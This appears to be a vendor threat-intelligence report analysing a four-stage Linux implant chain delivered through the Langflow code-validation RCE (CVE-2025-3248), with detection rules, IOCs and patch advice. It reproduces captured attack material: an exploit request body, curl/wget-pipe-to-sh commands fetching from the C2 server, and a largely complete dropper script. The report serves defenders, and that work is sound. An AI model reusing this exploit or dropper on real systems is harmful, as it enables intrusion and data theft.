Polydrop: Dissecting a Four-Stage Implant Chain Delivered via Langflow RCE
Langflow is an open-source tool that lets developers build AI and large-language-model pipelines visually, by dragging and connecting components in a browser.
Langflow is an open-source tool that lets developers build AI and large-language-model pipelines visually, by dragging and connecting components in a browser. It is popular with small teams and individual developers, and because it is meant to be a workspace tool, it often ends up exposed to the internet without any authentication in front of it. That makes it a target.
In mid-2025, a critical vulnerability was found in Langflow (CVE-2025-3248): its code-validation endpoint evaluates submitted Python with no login required. It was added to the CISA Known Exploited Vulnerabilities catalog and defenders were told to patch. Many did not.
Over a year later, we watched two separate operators exploit that same unpatched vulnerability on one of our internet-facing Langflow instances, four days apart. Both delivered their payloads from the same command-and-control server. Different source IPs, different tooling fingerprints, same backend. That leads us to believe they are part of one campaign.
The payloads looked alarming at first: 287 byte-unique files, each with a different hash. Per-victim polymorphism usually means sophisticated malware that mutates its own code. We pulled six samples and compared them line by line. 32 of 33 lines were identical. The only thing that changed was a random temporary filename. One structural detection rule catches all 287 builds and every future build the server will ever generate.
But the dropper was only the first stage. We followed the delivery chain through three more stages, each more evasive than the last, recovering and reverse-engineering every artifact along the way. The final payload turned out to be something considerably more interesting than the dropper suggested: a modular implant framework built for data exfiltration to Alibaba Cloud, with persistence across four different Linux service managers, proxy tunneling, and a custom command-and-control protocol that delivers all targeting instructions at runtime so nothing about the operator’s objectives appears in the binary itself.
This is the step-by-step walkthrough.
Every payload, command string, and binary quoted below is captured attacker input, reproduced for analysis. None of it is an instruction to run.
Step 1: The exploit
Both operators targeted Langflow’s /api/v1/validate/code
endpoint. This endpoint is meant to validate user-supplied Python before
it runs in a pipeline. The vulnerability is that it evaluates the
submitted code with no authentication, and critically, it evaluates
default-argument expressions of any function it finds.
The operator hides the malicious call in a default argument so it fires
at “validation” time, without the function ever being called.
Captured exploit body:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json
{"code": "\ndef run(cd=exec('raise Exception(__import__(\"subprocess\")
.check_output(\"curl -fsSL hxxp://149[.]104[.]29[.]201:8111/log.sh | sh\",
shell=True))')): pass\n"}
The result: the server fetches a shell script from the attacker’s C2 and executes it. Three variants were captured, differing only in the filename and port:
curl -fsSL hxxp://149[.]104[.]29[.]201:8111/log.sh | sh
(curl -fsSL -m180 hxxp://149[.]104[.]29[.]201:8455/slt ||
wget -T180 -q hxxp://149[.]104[.]29[.]201:8455/slt) | sh
curl -fsSL hxxp://149[.]104[.]29[.]201:8111/set.sh | sh
This follows the same pattern as publicly available exploit code for
this CVE. The operators are running off-the-shelf tooling, not custom
exploits. The wget and Python urllib fallbacks
(visible in the dropper source below) show the operator is building for
scale: they want the download to succeed regardless of which tools are
installed on the victim.
Step 2: The dropper
The fetched file is a 1,816-byte shell script. Here is what it does, with the recovered source:
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin
mkdir -p /tmp
cd /tmp
touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/
touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/
touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/
rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex
export PATH=$PATH:$(pwd)
l64="149[.]104[.]29[.]201:8455/?h=149[.]104[.]29[.]201&p=8455&t=tcp&a=l64&stage=true"
l32="149[.]104[.]29[.]201:8455/?h=149[.]104[.]29[.]201&p=8455&t=tcp&a=l32&stage=true"
a64="149[.]104[.]29[.]201:8455/?h=149[.]104[.]29[.]201&p=8455&t=tcp&a=a64&stage=true"
a32="149[.]104[.]29[.]201:8455/?h=149[.]104[.]29[.]201&p=8455&t=tcp&a=a32&stage=true"
v="5a9c31c5tcp" # <-- THE ONLY LINE THAT VARIES PER BUILD
rm -rf $v
ARCH=$(uname -m)
if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v || ...)
elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v || ...)
elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL -m180 $l32 -o $v || ...)
elif [ ${ARCH}x = "aarch64x" ]; then (curl -fsSL -m180 $a64 -o $v || ...)
elif [ ${ARCH}x = "armv7lx" ]; then (curl -fsSL -m180 $a32 -o $v || ...)
fi
chmod +x $v
(nohup $(pwd)/$v >/dev/null 2>&1 &) || (nohup ./$v >/dev/null 2>&1 &) || ...
(Each download line tries curl, then
wget, then Python urllib as fallbacks. The
full unabridged source is in the detection package.)
What the attacker is doing here:
Finding a writable system directory. The script touches a test file called
writeablexin/usr/local/bin,/usr/libexec, and/usr/binin turn. Whichever one succeeds, that is where the next stage gets installed. If nothing works, it falls back to/tmp. This works whether or not the exploited process is root.Detecting the CPU architecture. The script checks
uname -mto determine the victim’s processor type: x86-64, x86-32, ARM64, or ARMv7. The URL parametera=l64means “Linux 64-bit,”a=a64means “ARM 64-bit,” and so on. The same dropper handles cloud servers and ARM IoT/edge devices.Downloading the next stage. Three download methods ensure the download succeeds even on minimal systems.
Running it in the background. The next stage is detached so it survives the parent shell exiting.
The polymorphism trick. The C2 server stamps a fresh
8-character hex string into the variable v on every
request. That variable is just a temporary filename, not logic, but it
makes every delivered copy byte-unique. We compared six builds line by
line: 32 of 33 lines identical, exactly one varying line. The YARA rule
in this package matches the invariant structure and catches all 287
known builds and every future build.
Step 3: The loader goes fileless
The dropper downloads a 9,800-byte Linux executable, a small loader whose job is to fetch the real payload and run it without ever writing it to a findable path on disk.
What the attacker is doing here:
Single-instance lock. Check whether
/tmp/log_de.logexists. If so, another copy is already running. Stop.Connect to the C2. Open a TCP connection to
149[.]104[.]29[.]201:8455(AS139659, LUCIDACLOUD, geolocated to Hong Kong), retrying every 10 seconds until the server responds.Send a handshake. A fixed 40-byte message containing the processor architecture (e.g. “Linux 64-bit”), the port number, and the C2 address. This tells the server which build of the final payload to send back.
Receive the payload. The server sends the next stage with a simple single-byte XOR cipher applied (key
0x99). Trivial to reverse, but enough to get past basic content inspection on the wire.Execute from memory. The loader creates an anonymous in-memory file (a Linux feature called
memfd_createthat produces a file with no filesystem path). It writes the decoded payload into this memory-only file and runs it directly from there, using a system call calledfexecvethat executes programs from memory rather than from a file on disk. The final payload never appears as a named file on the filesystem.Hide in the process list. The loader sets its process name to
[kworker/0:2], which mimics a Linux kernel worker thread. A casual look at running processes shows what appears to be a normal kernel task.
The evasion jump is significant. Step 2 writes a
file to /usr/bin, which is noisy and easy to find. Step 3
stops doing that entirely. An investigator who searches the disk after
the fact will find the dropper’s leftover file and
/tmp/log_de.log, but not the real payload.
Step 4: The implant
We recovered the final payload and analyzed it statically (never executed). The C2 was still serving it at the time of analysis.
The payload is a 7.5-megabyte binary written in Go (version 1.20). At that size, it is not a simple script or stager. It is a full application with the Go runtime compiled in.
The operator obfuscated it using garble, an
open-source tool that replaces all human-readable function and package
names with random tokens (e.g. ojQuzc_T,
R9HKQ1C6). This makes reverse engineering harder because
you cannot simply search for function names like “Upload” or “Install.”
However, garble has a limitation: it scrambles the package and type
names but leaves the method names intact. So while the
package might be called ojQuzc_T, its methods still say
.PutObjectFromFile, .LimitUploadSpeed, and
.GetSecurityToken. By matching these method names against
the public APIs of known Go libraries, we identified 14 third-party
libraries linked into the binary and reconstructed the full capability
set. (We used GoReSym, a Mandiant tool that recovers function names and
types from compiled Go binaries, to extract the 4,005 application
functions.)
What the attacker built, and what it does on a victim machine:
4a. It exfiltrates data to Alibaba Cloud
The implant contains the complete Alibaba Cloud Object Storage upload toolkit (OSS, Alibaba’s equivalent of Amazon S3). It can upload individual files or split large files into parallel chunks for faster transfer. It deliberately limits its own upload speed, consistent with staying below network anomaly thresholds. It supports temporary rotating credentials (a cloud feature called STS, Security Token Service), so the operator can change access keys without redeploying the implant. A worker pool handles multiple uploads in parallel.
This is not a placeholder or proof of concept. The binary contains
the full set of OSS authentication headers and the signing algorithm
string OSS4-HMAC-SHA256. It is a production-grade
exfiltration client.
4b. It receives targeting instructions at runtime
There is no exfiltration endpoint, cloud storage bucket, access key, or target file path anywhere in the binary. No IP address, no domain, no Alibaba Cloud URL.
Instead, the implant has a custom command-and-control
protocol with 34 functions for configuration push, heartbeat,
value exchange, and task acknowledgment. The TCP connection to
149[.]104[.]29[.]201:8455 (Hong Kong) is not just a
delivery channel. It is the management plane. The implant checks in,
receives its targeting package (which cloud endpoint, which storage
bucket, what credentials, which files to steal), and reports task
completion. The operator can retarget deployed implants without
rebuilding the binary.
This is a deliberate architectural choice: static analysis alone cannot identify the data destination.
4c. It installs itself as a system service
The implant detects which service manager the host runs and installs the appropriate service type automatically:
- systemd (most modern Linux distributions)
- SysV init (older Red Hat, CentOS)
- upstart (older Ubuntu)
- OpenRC (Alpine, Gentoo)
It also interacts with systemd programmatically through Linux’s
built-in service management interface (D-Bus) rather than running shell
commands, and suppresses shell history during installation by setting
HISTFILE=/tmp/.del.
4d. It tunnels through proxies
The implant can route its traffic through an authenticated SOCKS5
proxy (a protocol that forwards traffic through an intermediary server),
configured via JSON fields (ProxyHost,
ProxyUser, ProxyPassword). This lets the
operator obscure the true destination of exfiltrated data from network
monitoring.
4e. It leaks its builder’s home directory
Despite the obfuscation, the path /home/vbccsb survives
in the binary. This is a build-environment reference that the
obfuscation tool did not clean up. vbccsb is the username
on the machine where the implant was compiled. This is a durable
attribution anchor: any other binary from the same developer will
contain the same path.
The operators
Two distinct operators used the same C2 four days apart. Neither is a broad scanner. Both appear only against the Langflow attack surface, which is consistent with operators sharing a proof-of-concept exploit and funneling victims to one shared staging server.
Operator A used the User-Agent string
CVE-2025-3248/RCE, a literal CVE identifier hardcoded into
their scanning tool. They used two different stage-1 filenames
(log.sh on port 8111 and slt on port
8455).
Operator B used the User-Agent string
Mozilla/5.0 (mitsec). The string mitsec is
distinctive and usable as a hunt indicator. They used a single stage-1
filename (set.sh on port 8111).
Command-and-control infrastructure
IP: 149[.]104[.]29[.]201
All characterization is from passive sources only.
| Attribute | Value |
|---|---|
| ASN | AS139659, LUCIDACLOUD LIMITED |
| WHOIS org | STARCLOUD GLOBAL PTE. LTD. (Singapore) |
| Geolocation | Hong Kong |
| BGP prefix | 149[.]104[.]29[.]0/24 |
| Open ports | 22 (OpenSSH, Debian), 80 (Python web server), 8443, 8888 (nginx) |
| Delivery ports | 8111 and 8455 |
| GreyNoise | unknown |
| Threat feeds | absent from DShield, URLhaus, ThreatFox, Feodo Tracker |
| Passive DNS | no real domain associated |
| Operating window | At least 10 days (still serving payloads at time of analysis) |
A bare cheap VPS running a Python web server on port 80, payloads on cycling high ports, no real domain. Invisible to commodity threat intelligence. If your detection stack relies only on reputation feeds, you will not see this campaign.
Timeline
| When | Event |
|---|---|
| Mid-2025 | CVE-2025-3248 added to CISA Known Exploited Vulnerabilities catalog |
| Over a year later | First delivery observed: two operators, four days apart |
| Shortly after | All four stages recovered and reverse-engineered |
The first capture is over a year after the vulnerability was cataloged. This is long-tail exploitation of an aging vulnerability. Internet-exposed Langflow instances that were never patched are being actively targeted today.
What defenders should look for
Behavioral rules first (durable), then structural signatures, then atomic indicators (cheap for the operator to change), then what will not work.
Behavioral
- Langflow
/api/v1/validate/codePOST containingexec(,__import__(,subprocess, orcheck_outputin thecodefield. - A newly-written executable matching
^[0-9a-f]{8}tcp$in/usr/bin,/usr/libexec, or/usr/local/bin, immediately made executable and launched in the background. - The file
writeablexcreated then deleted in/usr/local/bin,/usr/libexec, or/usr/binwithin the same second. - A process named
[kworker/0:2](or similar kernel-thread name) that is not actually a kernel thread. Check/proc/<pid>/exe. - A new systemd service or SysV init script with
EnvironmentFile=-/etc/sysconfig/<name>where<name>is unfamiliar. - Outbound connections to Alibaba Cloud OSS
(
*.oss-*.aliyuncs.com) from a host that does not normally use Alibaba Cloud services. - The file
/tmp/log_de.log, a single-instance lock file. HISTFILE=/tmp/.delset in a shell session.- Outbound connections to a raw IP on a high port
with a query string containing
&a=l64&stage=trueor similar architecture parameters.
Structural (defeats the polymorphism)
The YARA rule in this package matches the invariant dropper template:
the writeablex sentinel, the architecture URLs, and the
randomized filename assignment. It catches all 287 known builds and
every future build.
Atomic indicators (see IOC CSV)
C2 IP, ports, stage-1 filenames, /tmp/log_de.log, sample
hashes, User-Agent strings.
What will NOT detect this
- Hash blocklists. Every dropper build is a unique SHA-256 by design.
- Disk scanning for the final payload. It runs entirely from memory.
- Commodity IP reputation. The C2 is in no public feed.
Sample hashes
| Stage | SHA-256 | Size |
|---|---|---|
| Stage-3 loader (x86-64) | e3455fb41ba8dce83b27931bacdd6596fd8b925305bedb5bdc00640a0e6a1839 |
9,800 B |
| Stage-4 implant (x86-64) | 39fbfcccf13ab9d65d90c38b37febef37a89ad7341900ab60eee3896123ed2d1 |
7,864,320 B |
Representative dropper hashes are in the IOC CSV. The full set of 287 is available on request (reference campaign tag polydrop).
Detection content
polydrop_langflow_rce.yml— Sigma rule for Langflow code-injection requestspolydrop_dropper_delivery.yml— Sigma rule for the architecture-staging URL patternpolydrop_dropper.yar— YARA rule for the invariant dropper templatepolydrop-iocs.csv— atomic indicators
Recommendations
Patch. Update Langflow to a fixed release. Place any internet-exposed Langflow behind authentication. CVE-2025-3248 is a KEV entry. It should not be directly internet-exposed.
Hunt. Run the behavioral checks above across Linux
fleets, especially internet-facing servers and ARM edge/IoT devices.
Search for writeablex, /tmp/log_de.log, and
filenames matching ^[0-9a-f]{8}tcp$ in system
directories.
Block. Block 149[.]104[.]29[.]201 and
the 149[.]104[.]29[.]0/24 prefix at egress. Deploy the
Sigma and YARA rules.
Closing
This campaign moves up an evasion ladder with each stage. The dropper is noisy: it writes a file to a system directory. The loader goes fileless, executing the next stage entirely from memory while hiding behind a kernel thread name. The final implant is a persistent, obfuscated exfiltration framework that receives all of its targeting instructions at runtime, so nothing about the operator’s objectives ever appears on disk.
The build-environment leak (/home/vbccsb) is a reminder
that obfuscation tools have blind spots, and those blind spots are where
defenders can find durable attribution anchors.
Indicators of Compromise
Detection Rules & IOCs
Three rules, three detection points in the kill chain. A SOC analyst imports all three: together they cover the campaign at initial access, payload delivery, and the artifact itself.
sigma-polydrop-langflow-rce.yml
sigma-polydrop-dropper-delivery.yml
yara-polydrop-dropper.yar
iocs-polydrop.csv
In plain terms
- YARA — "is this file the dropper?" (file level)
- Sigma delivery — "is something on my network downloading from this campaign’s C2?" (network level, outbound)
- Sigma Langflow — "is someone exploiting Langflow right now?" (application level, inbound)
Frequently asked
What is Polydrop?
Langflow is an open-source tool that lets developers build AI and large-language-model pipelines visually, by dragging and connecting components in a browser.
What vulnerability does Polydrop exploit?
Polydrop is delivered by exploiting cve-2025-3248. The full exploitation chain is documented in the analysis above.
What are the indicators of compromise (IOCs) for Polydrop?
Key indicators include 149[.]104[.]29[.]201, 149[.]104[.]29[.]0/24, hxxp://149[.]104[.]29[.]201:8111/log.sh, hxxp://149[.]104[.]29[.]201:8455/slt, hxxp://149[.]104[.]29[.]201:8111/set.sh, ?h=<ip>&p=<port>&t=tcp&a=(l64|l32|a64|a32)&stage=true, and more. The full list and a downloadable IOC CSV are in the Detection Rules & IOCs section.
How do I detect Polydrop?
Polydrop can be detected with Sigma: Langflow RCE, Sigma: Delivery, YARA Rule, IOC CSV — all downloadable on this page. Three rules, three detection points in the kill chain. A SOC analyst imports all three: together they cover the campaign at initial access, payload delivery, and the artifact itself.
What MITRE ATT&CK techniques does Polydrop use?
Polydrop maps to T1190, T1059.006, T1027, T1543, T1041, T1055.
External references
These indicators are published to the threat-intelligence community. Verify or pull them from: